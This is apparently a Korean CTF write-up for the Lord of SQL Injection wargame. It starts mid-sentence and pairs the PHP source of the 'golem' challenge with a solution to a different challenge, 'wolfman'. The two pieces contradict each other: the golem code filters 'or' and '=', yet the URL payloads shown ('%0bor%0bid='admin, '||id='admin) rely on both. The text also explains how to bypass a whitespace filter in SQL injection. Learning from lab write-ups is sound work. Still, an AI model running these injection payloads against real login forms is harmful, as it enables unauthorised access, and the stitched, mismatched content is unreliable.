%0b
, %09
등으로 우회 가능하다.<?php
include "./config.php";
login_chk();
dbconnect();
if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~");
if(preg_match('/or|and|substr\(|=/i', $_GET[pw])) exit("HeHe");
$query = "select id from prob_golem where id='guest' and pw='{$_GET[pw]}'";
echo "<hr>query : <strong>{$query}</strong><hr><br>";
$result = @mysql_fetch_array(mysql_query($query));
if($result['id']) echo "<h2>Hello {$result[id]}</h2>";
$_GET[pw] = addslashes($_GET[pw]);
$query = "select pw from prob_golem where id='admin' and pw='{$_GET[pw]}'";
$result = @mysql_fetch_array(mysql_query($query));
if(($result['pw']) && ($result['pw'] == $_GET['pw'])) solve("golem");
highlight_file(__FILE__);
?>
이번 문제는 공백을 필터링한다는 점만 제외하면 기존 문제와 큰 차이가 없다.
공백 필터링을 우회하는 방법은 여러 가지가 있다.
힌트에서 언급한 것보다 수많은 방법이 있지만, 그중 한 가지를 써서 우회하면 문제가 풀린다
ps) %09
는 탭인데 가끔 막히는 경우가 있다.
%0a
는 개행문자인데 이 친구도 잘 안 먹을 수 있기 때문에 %0b
, %0c
를 사용하는 것을 추천한다.
https://los.rubiya.kr/chall/wolfman_4fdc56b75971e41981e3d1e2fbe9b7f7.php?pw=%27%0bor%0bid=%27admin
위에서 사용한 OR
같은 문자열로 논리 연산자를 이용하면 다른 문자와 논리 연산자의 차이를 두기 위해 항상 앞뒤로 공백문자가 필요하다. 하지만 논리 연산자를 기호 형태로 이용하면 구분이 필요 없어지기 때문에 공백문자 없이 사용이 가능하다. 따라서 기호를 이용하면 '||id='admin
처럼 깔끔하게 처리가 가능하다
https://los.rubiya.kr/chall/wolfman_4fdc56b75971e41981e3d1e2fbe9b7f7.php?pw=%27||id=%27admin